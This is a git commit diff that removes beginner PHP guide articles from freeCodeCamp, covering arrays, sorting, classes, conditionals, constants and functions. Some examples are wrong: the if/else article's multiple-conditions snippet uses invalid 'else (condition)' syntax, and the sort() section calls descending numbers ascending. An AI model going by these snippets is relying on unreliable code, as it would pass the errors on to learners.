fix: Removed files accidentally added on PR 27489 (#35469)

This commit is contained in:
Randell Dawson
2019-02-28 23:13:31 -08:00
committed by Valeriy
parent 5665222c70
commit d6eb564d83
75 changed files with 0 additions and 5614 deletions

View File

@ -1,139 +0,0 @@
---
title: array
---
## Introduction to PHP Array
An array can be thought of as a collection of items.
## Syntax
An array is defined by `array()`, or `[]`.
An example of an array in each style can be seen below:
```php
<?php
$bikes = array('Suzuki','BMW','Yamaha');
// OR
$bikes = ['Suzuki', 'BMW', 'Yamaha'];
```
## Associative array (key => value)
PHP arrays can store more than one type of value at a time:
```
<?php
$arr = array('Suzuki', 3.1415, false, -273);
```
As you can see there is a string, a float number, a boolean valuea and an integer number.
Arrays can also be defined with named keys, as shown below:
```php
<?php
$bikes = [
'favorite' => 'Suzuki',
'second favorite' => 'BMW',
'not my favorite' => 'Yamaha'
];
```
## Accessing Items
Items within an array can be accessed by their corresponding key, or location within the array.
For instance:
```php
<?php
$bikes = ['Suzuki', 'BMW', 'Yamaha'];
echo 'I like '. $bikes[0];
```
Would produce the following output:
```
I like Suzuki
```
Another example, using named keys can be seen below:
```php
<?php
$bikes = [
'favorite' => 'Suzuki',
'second favorite' => 'BMW',
'not my favorite' => 'Yamaha'
];
echo 'I like '. $bikes['not my favorite'];
```
Would produce the following output:
```
I like Yamaha
```
## Add Item
Is possible to add any item to an existing array.
An example of addition can be seen below:
```
<?php
$bikes = array('Suzuki', 'BMW');
$bikes[] = 'Yamaha';
```
Another example, using named keys can be seen below:
```
<?php
$bikes = [
'favorite' => 'Suzuki',
'second favorite' => 'BMW'
];
$bikes['not my favorite'] = 'Yamaha';
```
## Multidimensional Array
As we mentioned earlier arrays are collection of items, often times these items may be arrays of themselves.
![alt text](https://preview.ibb.co/hLBfcf/img.png "Screenshot of multidimensional arrays")
You will always be able to get the value for the specific key by going down the layers: $arr['layerOne']['two']
## Pitfalls
When working with arrays, there are a few important things to keep in mind:
1) A comma after the last element is optional.
2) Named keys must use quotes to be accessed (i.e. $bikes[not my favorite] would not work).
For more information, please see [PHP: Arrays](http://php.net/manual/en/language.types.array.php)
## Length of an Array
The count() function is used to return the length (the number of elements) of an array:
<?php
$cars = array("Volvo", "BMW", "Toyota");
echo count($cars);
?>

View File

@ -1,33 +0,0 @@
---
title: Arrays
---
## Arrays
### Types Of Arrays
In PHP there are three types of arrays: Indexed Arrays, Associative arrays, and Multidimensional arrays.
### Indexed Array Example
An indexed array accesses objects by index number.
```PHP
<?php
$freecodecamp = array("free", "code", "camp");
```
`$freecodecamp[0]` would return `"free"`, `$freecodecamp[1]` would return `"code"`, and `$freecodecamp[2]` would return `"camp"`.
### Associative Array Example
An associative array accesses objects by key name.
```PHP
<?php
$freecodecamp = array("free"=>"0","code"=>"1","camp"=>"2");
```
`$freecodecamp['free']` would return "0", `$freecodecamp['code']` would return "1", `$freecodecamp['camp']` would return "2",
### Multidimensional Array Example
A multidimensional array is an array that contains other arrays.
```PHP
<?php
$freecodecamp = array(array("free"=>"0","code"=>"1","camp"=>"2"),array("free"=>"0","code"=>"1","camp"=>"2"),array("free"=>"0","code"=>"1","camp"=>"2"));
```
#### More Information:
* <a href="https://secure.php.net/manual/en/language.types.array.php" rel="nofollow">php.net arrays manual</a>

View File

@ -1,123 +0,0 @@
---
title: Sorting Arrays
---
## Sorting Arrays
PHP offers several functions to sort arrays. This page describes the different functions and includes examples.
### sort()
The `sort()` function sorts the values of an array in ascending alphabetical/numerical order (E.g. A, B, C, D, E... 5, 4, 3, 2, 1...)
```PHP
<?php
$freecodecamp = array("free", "code", "camp");
sort($freecodecamp);
print_r($freecodecamp);
```
**Output:**
```text
Array
(
[0] => camp
[1] => code
[2] => free
)
```
### rsort()
The `rsort()` functions sort the values of an array in descending alphabetical/numerical order (E.g. Z, Y, X, W, V... 5, 4, 3, 2, 1...)
```PHP
<?php
$freecodecamp = array("free", "code", "camp");
rsort($freecodecamp);
print_r($freecodecamp);
```
**Output:**
```text
Array
(
[0] => free
[1] => code
[2] => camp
)
```
### asort()
The `asort()` function sorts an associative array, by it's values, in ascending alphabetical/numerical order (E.g. A, B, C, D, E... 5, 4, 3, 2, 1...)
```PHP
<?php
$freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp");
asort($freecodecamp);
print_r($freecodecamp);
```
**Output:**
```text
Array
(
[two] => camp
[one] => code
[zero] => free
)
```
### ksort()
The `ksort()` function sorts an associative array, by it's keys, in ascending alphabetical/numerical order (E.g. A, B, C, D, E... 5, 4, 3, 2, 1...)
```PHP
<?php
$freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp");
ksort($freecodecamp);
print_r($freecodecamp);
```
**Output:**
```text
Array
(
[one] => code
[two] => camp
[zero] => free
)
```
### arsort()
The `arsort()` function sorts an associative array, by it's values, in descending alphabetical/numerical order (E.g. Z, Y, X, W, V... 5, 4, 3, 2, 1...)
```PHP
<?php
$freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp");
arsort($freecodecamp);
print_r($freecodecamp);
```
**Output:**
```text
Array
(
[zero] => free
[one] => code
[two] => camp
)
```
### krsort()
The `krsort()` function sorts an associative array, by it's keys in descending alphabetical/numerical order (E.g. Z, Y, X, W, V... 5, 4, 3, 2, 1...)
```PHP
<?php
$freecodecamp = array("zero"=>"free", "one"=>"code", "two"=>"camp");
krsort($freecodecamp);
print_r($freecodecamp);
```
**Output:**
```text
Array
(
[zero] => free
[two] => camp
[one] => code
)
```
#### More Information:
* <a href="https://secure.php.net/manual/en/function.sort.php" rel="nofollow">php.net sort() manual</a>
* <a href="https://secure.php.net/manual/en/function.rsort.php" rel="nofollow">php.net rsort() manual</a>
* <a href="https://secure.php.net/manual/en/function.asort.php" rel="nofollow">php.net asort() manual</a>
* <a href="https://secure.php.net/manual/en/function.ksort.php" rel="nofollow">php.net ksort() manual</a>
* <a href="https://secure.php.net/manual/en/function.arsort.php" rel="nofollow">php.net arsort() manual</a>
* <a href="https://secure.php.net/manual/en/function.krsort.php" rel="nofollow">php.net krsort() manual</a>
* <a href="https://secure.php.net/manual/en/function.print-r.php" rel="nofollow">php.net print_r() manual</a>

View File

@ -1,103 +0,0 @@
---
title: Basic Syntax
---
# Basic Syntax
A PHP script can be placed anywhere in the document.
A PHP script starts with `<?php` and ends with `?>`
Below, we have an example of a simple PHP file, with a PHP script that uses a built-in PHP function "echo" to output the text "Hello World!" on a web page
````<!DOCTYPE html>
<html>
<body>
<h1>My first PHP page</h1>
<?php echo "Hello World!"; ?>
</body>
</html>
````
The output of that would be :
````
My first PHP page
Hello World!
````
#### Note: PHP statements end with a semicolon (;).
# Comments in PHP
PHP supports several ways of commenting:
````
<!DOCTYPE html>
<html>
<body>
<?php
// This is a single-line comment
# This is also a single-line comment
/*
This is a multiple-lines comment block
that spans over multiple
lines
*/
// You can also use comments to leave out parts of a code line
$x = 5 /* + 15 */ + 5;
echo $x;
?>
</body>
</html>
````
# PHP Case Sensitivity
In PHP, all keywords (e.g. if, else, while, echo, etc.), classes, functions, and user-defined functions are NOT case-sensitive.
In the example below, all three echo statements are legal (and equal):
````
<!DOCTYPE html>
<html>
<body>
<?php
ECHO "Hello World!<br>";
echo "Hello World!<br>";
EcHo "Hello World!<br>";
?>
</body>
</html>
````
### However; all variable names are case-sensitive.
In the example below, only the first statement will display the value of the $color variable (this is because $color, $COLOR, and $coLOR are treated as three different variables):
````
<!DOCTYPE html>
<html>
<body>
<?php
$color = "red";
echo "My car is " . $color . "<br>";
echo "My house is " . $COLOR . "<br>";
echo "My boat is " . $coLOR . "<br>";
?>
</body>
</html>
````

View File

@ -1,273 +0,0 @@
---
title: Class Inheritance
---
## Class Inheritance
_REUSE CODE WITH INHERITANCE IN OBJECT ORIENTED PROGRAMMING_
Here, we will talk about how we can re-use code that we wrote without having any code duplication by using inheritance.
### Man Class
This is our `Man` class:
```php
<?php
class Man
{
// 1. Declare the class variables
public $name;
protected $age;
public $height;
public $fav_sports;
private $fav_drinks;
// 2. Create a constructor method with 3 required parameters: name, age and height
public function __construct($name, $age, $height)
{
// 2A. Assign the values of parameters to class properties
// Also known as instance variables
// Using "$this->property_name"
$this->name = $name;
$this->age = $age;
$this->height = $height;
// 2B. Print out the man's attributes and values upon instantiation
echo "Our man's name is: " . $this->name . "\n";
echo "He is " . $this->age . " years old and " . $this->height . " tall.";
}
// 3. Create class methods
public function giveFirmHandshakes()
{
return "I give firm handshakes.";
}
public function beStubborn()
{
return "I am stubborn.";
}
public function notPutToiletPaper()
{
return "It's not humanly possible to remember to put toilet paper rolls when they are finished";
}
// 4. Age getter method
public function getAge()
{
return $this->age;
}
// Age setter method
public function setAge($age)
{
$this->age = $age;
}
// 5. Favorite Drinks setter method
public function setFavDrinks($drinks = array())
{
if ($drinks) {
$this->fav_drinks = $drinks;
}
}
// Favorite Drinks getter method
public function getFavDrinks()
{
return $this->fav_drinks;
}
}
```
### Healthy Man
Lets say we want to create another class called `HealthyMan` which has all the properties and methods of `Man` class.
Without having to re-write all the code for `Man` class, we can re-use that code by using the keyword extends.
```php
<?php
class HealthyMan extends Man
{
}
```
Now we have all the class properties and methods from Man inside `HealthyMan`. We can instantiate `HealthyMan` class to check this real quick.
```php
<?php
$jackie = new HealthyMan('Jackie', 25, '5\' 5"');
// => Our man's name is: Jackie
// => He is 25 years old and 5' 5" tall.
```
We can go ahead and set HealthyMan aka Jackies favorite sports and drinks.
```php
<?php
$jackie->fav_sports = ['swimming', 'weight training'];
print_r($jackie->fav_sports);
// =>
// Array
// (
// [0] => swimming
// [1] => weight training
// )
$jackie->setFavDrinks(['Matcha tea', 'Oolong Tea']);
print_r($jackie->getFavDrinks());
// =>
// Array
// (
// [0] => Matcha tea
// [1] => Oolong Tea
// )
```
Now lets see if we can call Mans class methods like `giveFirmHandshakes()`, `beStubborn()` and `notPutToiletPaper()`.
```php
<?php
echo "\n" . $jackie->giveFirmHandshakes();
// => I give firm handshakes.
echo "\n" . $jackie->beStubborn();
// => I am stubborn.
echo "\n" . $jackie->notPutToiletPaper();
// => It's not humanly possible to remember to put toilet paper rolls when they are finished
```
We get all of these by just inheriting Man class using the keyword extends.
### A Real Healthy Man
If we just inherit `HealthyMan` from `Man` class and do nothing with it, then it beats the whole purpose.
HealthyMan class has additional properties like `body_fat_percentage` and `workout_per_week`, and methods like `eatHealthy()`, `meditateDaily()` and `laughOften()`.
Since these are personal properties, we can either set them visibility of protected or private and create setter/getter methods for the full encapsulation.
```php
<?php
class HealthyMan extends Man
{
/**
* HealthyMan properties
*/
private $body_fat_percentage;
private $workout_per_week;
/**
* HealthyMan methods
*/
public function eatHealthy()
{
return "I only eat healthy meals.";
}
public function meditateDaily()
{
return "I set aside 20 minutes daily to meditate.";
}
public function laughOften()
{
return "I watch funny TV shows to unwind myself.";
}
/**
* HealthyMan Setters and Getters
*/
public function setBodyFatPercentage($fat_percentage)
{
$this->body_fat_percentage = $fat_percentage;
}
public function getBodyFatPercentage()
{
return $this->body_fat_percentage;
}
public function setWorkoutPerWeek($workout_times)
{
$this->workout_per_week = $workout_times;
}
public function getWorkoutPerWeek()
{
return $this->workout_per_week;
}
}
```
We can call these methods to see if they are working as expected:
```php
<?php
echo "\n" . $jackie->eatHealthy();
// => I only eat healthy meals.
echo "\n" . $jackie->meditateDaily();
// => I set aside 20 minutes daily to meditate.
echo "\n" . $jackie->laughOften();
// => I watch funny TV shows to unwind myself.
$jackie->setBodyFatPercentage(12);
echo "\nBody Fat %: " . $jackie->getBodyFatPercentage();
// => Body Fat %: 12
$jackie->setWorkoutPerWeek(5);
echo "\nWorkout Times Per Week: " . $jackie->getWorkoutPerWeek();
// => Workout Times Per Week: 5
```
We have successfully re-used the existing code and implemented a child class.
### Is He That Stubborn?
Even though he inherited `beStubborn()` from Man class, since Jackie is a healthy man, he is only stubborn only once in a while. We can have Healthy Mans `beStubborn()` method to say “I am stubborn once in a while” instead of just plain old “I am stubborn” by overriding the parent class method.
```php
<?php
class HealthyMan extends Man
{
.....
.....
public function beStubborn()
{
return "I am stubborn once in a while.";
}
.....
.....
}
```
Now when we can Jackies `beStubborn()` method, we will see a different output than before:
```php
<?php
echo "\n" . $jackie->beStubborn();
// => I am stubborn once in a while.
```
This demonstrates how method overriding works in OOP.
By using method overriding, we are basically re-declaring the parent class method inside the child class.
This way, any instance of the parents class maintains its original method whereas any instance of the child class has the modified or overridden method.

View File

@ -1,39 +0,0 @@
---
title: PHP - Class
---
### Simple Class for Beginner!
```php
class Lab { // class keyword is mandatory identifier for class creation, after class keyword goes the name of the class(e.g. Lab)
private $name = ''; // $name is instance variable, which means that every instantiated object has it's own copy of variable $name
public function setName($name) { // function setName is setter function that sets the value of instance variable $name
$this->name = $name; // because $name is the name of both instance variable and function parameter, we use $this keyword
}
private function getName() { // getName is getter function that returns the value of instance variable $name
return $this->name;
}
public function sayMyName() {
$name = $this->getName();
return $name;
}
}
$breakingBad = 'Heisenberg';
$lab = new Lab();
$lab->setName($breakingBad);
echo "My Name is " . $lab->sayMyName(). "!";
```
**Note**:
The keywords *private* and *public* define the visibility of the property or the method.
- Class members declared public can be accessed everywhere.
- Members declared as private may only be accessed by the class that defines the member.
### More Information
[visibility documentation](http://php.net/manual/en/language.oop5.visibility.php)

View File

@ -1,54 +0,0 @@
---
title: Classes and Objects
---
# Classes and Objects
Classes are the way that we represent types of objects in the world. Objects would be the actual _instances_ of that class in the world. A class defines _properties_ and _behavior_ of an object of that class. The class defines how the object can interact with the rest of the world. Classes also allow us to abstract away details that we don't want to show other people!
Say for example you have a dog named Spot. Spot is one instance of a Dog (class) object.
PHP code to define a class:
```php
// Dog class
class dog {
// Keep name and age private - we don't want to be able to change these!
private $name;
private $age;
// Constructor allows us to make an object of this class with given parameters.
function __construct($name, $age){
$this->name = $name;
$this->age = $age;
echo 'Dog named: '.$this->name.' is '.$this->age.' years old.';
}
// Destructor gets called when the item is deleted.
function __destruct(){
echo 'Dog '.$this->name.' has ran off into the sunset';
}
function getname() {
echo $this->name;
}
function getage() {
echo $this->age;
}
}
$mydog = new dog("Spot", "8");
echo $mydog->getname();
echo $mydog->getage();
```
The code above would echo:
Dog named: Spot is 8 years old.
Spot
8
Dog Spot has ran off into the sunset
I created an object $mydog of class dog. Its constructor was called, I used some methods inside of the class, then the destructor was called.

View File

@ -1,50 +0,0 @@
---
title: Composer
---
## Composer
Composer is a package manager for PHP packages. You use a `composer.json` file to configure the packages for a PHP project, similar to the `package.json` file in NodeJS projects.
### Install Composer
To install Composer, you first have to download it from <a href='https://getcomposer.org/download/' target='_blank' rel='nofollow'>getcomposer.org</a>.
You can then install Composer locally or globally.
### Install Packages
Install packages with `composer install`. Composer will install the packages listed in the `composer.json` file to the vendor/ folder.
```shell
composer install
```
To install only a specific package, use `composer require <package_name>`. This will only download and install the latest version available to the selected package.
If you run this command without a `composer.json` file, composer will automatically create it the before the installation.
```shell
composer require <package_name>
```
### Updating Packages
Update packages with `composer update`, Composer will automatically download and install the latest versions of the packages listed in the `composer.json` file to the vendor/ folder.
```shell
composer update
```
To update a single package, use `composer update <package_name>`.
### Removing Packages
Removing is easy as installing packages with composer. Just enter `composer remove <package_name>` to uninstall the package from your vendor/ folder. This will automatically update your `composer.json` file.
```shell
composer remove
```
### More Information:
* The Composer website: <a href='https://getcomposer.org/' target='_blank' rel='nofollow'>getcomposer.org</a>
* Composer's GitHub repo: <a href='https://github.com/composer/getcomposer.org' target='_blank' rel='nofollow'>composer/getcomposer</a>
* The popular PHP package repository that Composer uses to search for packages: <a href='https://packagist.org/' target='_blank' rel='nofollow'>Packagist</a>

View File

@ -1,38 +0,0 @@
---
title: Conditionals
---
## Conditionals
Conditionals in PHP are written using the `if`, `elseif`, `else` syntax. Using conditionals allows you to perform different actions depending on different inputs and values provided to a page at run time. In PHP conditionals are often referred to as control structures.
### If
```PHP
<?php
if ($_GET['name'] == "freecodecamp"){
echo "You viewed the freeCodeCamp Page!";
}
```
### Elseif
```PHP
<?php
if ($_GET['name'] == "freecodecamp"){
echo "You viewed the freeCodeCamp Page!";
} elseif ($_GET['name'] == "freecodecampguide"){
echo "You viewed the freeCodeCamp Guide Page!";
}
```
### Else
```PHP
<?php
if ($_GET['name'] == "freecodecamp"){
echo "You viewed the freeCodeCamp Page!";
} elseif ($_GET['name'] == "freecodecampguide"){
echo "You viewed the freeCodeCamp Guide Page!";
} else {
echo "You viewed a page that does not exist yet!";
}
```
### Note
In cases where you have a lot of possible conditions you may want to use a <a href="/php/switch">Switch Statement</a>.
#### More Information:
* <a href="https://secure.php.net/manual/en/control-structures.elseif.php" rel="nofollow">php.net control structures manual</a>

View File

@ -1,38 +0,0 @@
---
title: Constants
---
## Constants
Constants are a type of variable in PHP. The `define()` function to set a constant takes three arguments - the key name, the key's value, and a Boolean (true or false) which determines whether the key's name is case-insensitive (false by default). A constant's value cannot be altered once it is set. It is used for values which rarely change (for example a database password OR api key).
### Scope
It is important to know that unlike variables, constants ALWAYS have a global scope and can be accessed from any function in the script.
### Example
```PHP
<?php
define("freeCodeCamp", "Learn to code and help nonprofits", false);
echo freeCodeCamp;
```
**Output:**
```text
Learn to code and help nonprofits
```
Also, when you are creating classes, you can declare your own constants.
```php
class Human {
const TYPE_MALE = 'm';
const TYPE_FEMALE = 'f';
const TYPE_UNKNOWN = 'u'; // When user didn't select his gender
.............
}
```
**Note:** If you want to use those constants inside the `Human` class, you can refer them as `self::CONSTANT_NAME`. If you want to use them outside the class, you need to refer them as `Human::CONSTANT_NAME`.
#### More Information:
* <a href="https://secure.php.net/manual/en/language.constants.php" rel="nofollow">php.net constants manual</a>
* <a href="https://secure.php.net/manual/en/function.define.php" rel="nofollow">php.net define() manual</a>
* <a href="https://github.com/freeCodeCamp/freeCodeCamp/blob/master/guide/english/php/class/index.md" rel="nofollow">Create your first PHP class</a>

View File

@ -1,22 +0,0 @@
---
title: Error Exceptions
---
## Error Exceptions
Similar to other programming languages, you generally want to throw Exceptions when some sort of error occurs. Consider the following example of a `withdraw()` function in a theoretical `BankAccount` class where the balance goes below 0:
```php
function withdraw($amount) {
$newBalance = $this->balance - $amount;
if ($newBalance < 0) {
throw new Exception('Balance would go below zero');
}
return $newBalance;
}
```
In this case, if the value of ```$this->balance``` was 5 and ```$amount``` was 10, you wouldn't want to authorize the withdrawal. By throwing an Exception, you ensure that the withdrawal doesn't take place if there is not enough money in the account.
#### More Information
- [PHP Manual: Exceptions](http://php.net/manual/en/language.exceptions.php)

View File

@ -1,13 +0,0 @@
---
title: Errors
---
## Errors
This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/errors/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
#### More Information:
<!-- Please add any articles you think might be helpful to read before writing the article -->

View File

@ -1,13 +0,0 @@
---
title: Filters
---
## Filters
This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/filters/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
#### More Information:
<!-- Please add any articles you think might be helpful to read before writing the article -->

View File

@ -1,21 +0,0 @@
---
title: Checking Required Inputs
---
## Checking Required Inputs
PHP has a few functions to check if the required inputs have been met. Those functions are ```isset```, ```empty```, and ```is_numeric```.
### Checking form to make sure its set
The ```isset``` checks to see if the field has been set and isn't null.
Example:
```php
$firstName = $_GET['firstName']
if(isset($firstName)){
echo "firstName field is set". "<br>";
}
else{
echo "The field is not set."."<br>";
}
```

View File

@ -1,18 +0,0 @@
---
title: Handling Form Input
---
## Handling Form Input
GET VS POST
One can get form inputs with global variables $_POST and $_GET.
```
$_POST["firstname"] or $_GET['lastname']
```
<a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
#### More Information:
<!-- Please add any articles you think might be helpful to read before writing the article -->

View File

@ -1,9 +0,0 @@
---
title: Forms
---
## Forms
Forms are a way for users to enter data or select data from the webpage. Forms can store data as well as allow the information to be retrieved for later use.
#### More Information:
<!-- Please add any articles you think might be helpful to read before writing the article -->

View File

@ -1,13 +0,0 @@
---
title: Validating Form Input
---
## Validating Form Input
This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/forms/validating-form-input/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
#### More Information:
<!-- Please add any articles you think might be helpful to read before writing the article -->

View File

@ -1,11 +0,0 @@
---
title: Cookies
---
## Cookies
Definition: A cookie is a small file that the server embeds on the user's computer. Each time the same computer requests a page with a browser, it will send the cookie too. With PHP, you can both create and retrieve cookie values. The name of the cookie is automatically assigned to a variable of the same name.
#### More Information:
<!-- Please add any articles you think might be helpful to read before writing the article -->
- [PHP setcookie() Function](https://www.w3schools.com/php/func_http_setcookie.asp)

View File

@ -1,13 +0,0 @@
---
title: Date
---
## Date
This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/date/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
#### More Information:
<!-- Please add any articles you think might be helpful to read before writing the article -->

View File

@ -1,19 +0,0 @@
---
title: Die and Exit
---
## Die and Exit
The `die()` and `exit()` functions are identical. They each take one argument (a string) containing an error message. Upon being run they output the message and immediately halt execution of the script.
```PHP
<?php
die('Die() function was run');
```
```PHP
<?php
exit('Exit() function was run');
```
#### More Information:
* <a href="https://secure.php.net/manual/en/function.die.php" rel="nofollow">php.net die() manual</a>
* <a href="https://secure.php.net/manual/en/function.exit.php" rel="nofollow">php.net exit() manual</a>

View File

@ -1,36 +0,0 @@
---
title: Echo and Print
---
## Echo and Print
The echo and print functions provide a way to write out the value of a variable or argument to the screen.
### echo
The `echo()` function writes out the value of a variable or argument to the screen.
```PHP
<?php
echo "freeCodeCamp";
```
NOTE: A short hand way to open the PHP tag and echo is <?=
```
<?= "freeCodeCamp"; ?>
```
### print
The `print()` function out the value of a variable or argument to the screen.
```PHP
<?php
print "freeCodeCamp";
```
### print_r
The `print_r()` function writes out the value of any variable (such as an array) or argument to the screen, unlike the echo or print functions which are more limited.
```PHP
<?php
$freecodecamp = "freeCodeCamp";
print_r($freecodecamp);
```
#### More Information:
* <a href="https://secure.php.net/manual/en/function.echo.php" rel="nofollow">php.net echo() manual</a>
* <a href="https://secure.php.net/manual/en/function.print.php" rel="nofollow">php.net print() manual</a>
* <a href="https://secure.php.net/manual/en/function.print-r.php" rel="nofollow">php.net print_r() manual</a>

View File

@ -1,13 +0,0 @@
---
title: File Reading
---
## File Reading
This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/files/reading/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
#### More Information:
<!-- Please add any articles you think might be helpful to read before writing the article -->

View File

@ -1,13 +0,0 @@
---
title: File Uploading
---
## File Uploading
This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/functions/files/uploading/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
#### More Information:
<!-- Please add any articles you think might be helpful to read before writing the article -->

View File

@ -1,15 +0,0 @@
---
title: Files
---
## Files
PHP provides several functions for working with files. These functions allow the developer to enable user file uploads, for php to read and use data from a file, and lastly for php to write data to a file.
#### More Information:
* <a href="https://secure.php.net/manual/en/function.readfile.php" rel="nofollow">php.net readfile() manual</a>
* <a href="https://secure.php.net/manual/en/function.fopen.php" rel="nofollow">php.net fopen() manual</a>
* <a href="https://secure.php.net/manual/en/function.fread.php" rel="nofollow">php.net fread() manual</a>
* <a href="https://secure.php.net/manual/en/function.fclose.php" rel="nofollow">php.net fclose() manual</a>
* <a href="https://secure.php.net/manual/en/function.fgets.php" rel="nofollow">php.net fgets() manual</a>
* <a href="https://secure.php.net/manual/en/function.feof.php" rel="nofollow">php.net feof() manual</a>
* <a href="https://secure.php.net/manual/en/function.fgetc.php" rel="nofollow">php.net fgetc() manual</a>

View File

@ -1,52 +0,0 @@
---
title: Functions
---
## PHP Functions Introduction
A function is a block of statements that can be used repeatedly in a program.
### Simple Function + Call
```php
function say_hello() {
return "Hello!";
}
echo say_hello();
```
### Simple Function + Parameter + Call
```php
function say_hello($friend) {
return "Hello " . $friend . "!";
}
echo say_hello('Tommy');
```
### strtoupper - Makes all Chars BIGGER AND BIGGER!
```php
function makeItBIG($a_lot_of_names) {
foreach($a_lot_of_names as $the_simpsons) {
$BIG[] = strtoupper($the_simpsons);
}
return $BIG;
}
$a_lot_of_names = ['Homer', 'Marge', 'Bart', 'Maggy', 'Lisa'];
var_dump(makeItBIG($a_lot_of_names));
```
## strtolower Function
The strtolower() function converts a string to lowercase.
```
<?php
echo strtolower("Hello WORLD."); //hello world.
?>
```
#### More Information:
* <a href="https://secure.php.net/manual/en/functions.user-defined.php">php.net user defined functions manual</a>

View File

@ -1,18 +0,0 @@
---
title: Time
---
## Time
The `time()` function returns the current unix timestamp (number of seconds since the Unix Epoch - January 1 1970 00:00:00 GMT).
### Example
```php
<?php
echo time();
```
**Output:**
```text
1511732226
```
#### More Information:
* <a href="https://secure.php.net/manual/en/function.time.php">php.net time() manual</a>

View File

@ -1,45 +0,0 @@
---
title: PHP - Hello World
---
## PHP - Hello World
PHP scripts are executed on the server.
Before you continue you should have a basic understanding of the following:
### HTML
### CSS
### JavaScript
PHP files can contain Text, HTML, CSS, JavaScript, and PHP code.
A PHP script is executed on the server, and the plain HTML result is sent back to the browser.
A PHP script starts with `<?php` and ends with `?>`:
```php
<?php
// PHP code goes here
?>
```
or
you can also write A PHP script starts with `<?php` and ends without `?>`:
```php
<?php
// PHP code goes here
```
Below, we have an example of a simple PHP file, with a PHP script that uses a built-in PHP function "echo" to output the text "Hello World!" on a web page:
```php
<!DOCTYPE html>
<html>
<body>
<?php
echo "Hello World!";
?>
</body>
</html>
```
Note: You cannot simply open this file with your browser as you could with an html file. In order for this file to display properly in your browser, you must place it in an accessible folder on a server. A simple example: To do this in apache, you would be replacing the "index.html" file with this file and naming it "index.php" (You should check that php is enabled on your apache server).

View File

@ -1,116 +0,0 @@
---
title: If-else Statement
---
## Introduction
If/Else is a conditional statement where depending on the truthiness of a condition, different actions will be performed.
> **Note:** The `{}` brackets are only needed if the condition has more than one action statement; however, it is best practice to include them regardless.
## If Statement
```
<?php
if (condition) {
statement1;
statement2;
}
```
> **Note:** You can nest as many statements in an "if" block as you'd like; you are not limited to the amount in the examples.
## If/Else Statement
```
<?php
if (condition) {
statement1;
statement2;
} else {
statement3;
statement4;
}
```
> **Note:** The `else` statement is optional.
## If/Elseif/Else Statement
```
<?php
if (condition1) {
statement1;
statement2;
} elseif (condition2) {
statement3;
statement4;
} else {
statement5;
}
```
> **Note:** `elseif` should always be written as one word.
## Nested If/Else Statement
```
<?php
if (condition1) {
if (condition2) {
statement1;
statement2;
} else {
statement3;
statement4;
}
} else {
if (condition3) {
statement5;
statement6;
} else {
statement7;
statement8;
}
}
```
## Multiple Conditions
Multiple conditions can be used at once with the "or" (||), "xor", and "and" (&&) logical operators.
For instance:
```
<?php
if (condition1 && condition2) {
echo 'Both conditions are true!';
} elseif (condition 1 || condition2) {
echo 'One condition is true!';
} else (condition1 xor condition2) {
echo 'One condition is true, and one condition is false!';
}
```
> **Note:** It's a good practice to wrap individual conditions in parens when you have more than one (it can improve readability).
## Ternary Operators
Another important option to consider when using short If/Else statements is the ternary operator.
```php
$statement=(condition1 ? "condition1 is true" : "condition1 is false");
```
## Alternative If/Else Syntax
There is also an alternative syntax for control structures
```php
if (condition1):
statement1;
else:
statement5;
endif;
```
#### More Information:
* <a href='http://php.net/manual/en/control-structures.alternative-syntax.php' target='_blank' rel='nofollow'>PHP Alternative syntax for control structures</a>
* <a href="http://php.net/manual/en/control-structures.if.php" rel="nofollow">php.net control structures If Manual</a>
* <a href="https://secure.php.net/manual/en/control-structures.elseif.php" rel="nofollow">php.net control structures Else If Manual</a>

View File

@ -1,129 +0,0 @@
---
title: PHP
---
![logo](https://upload.wikimedia.org/wikipedia/commons/thumb/2/27/PHP-logo.svg/150px-PHP-logo.svg.png "PHP logo")
## What is PHP?
PHP is a server-side scripting language created in 1995 by Rasmus Lerdorf.
PHP is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML.
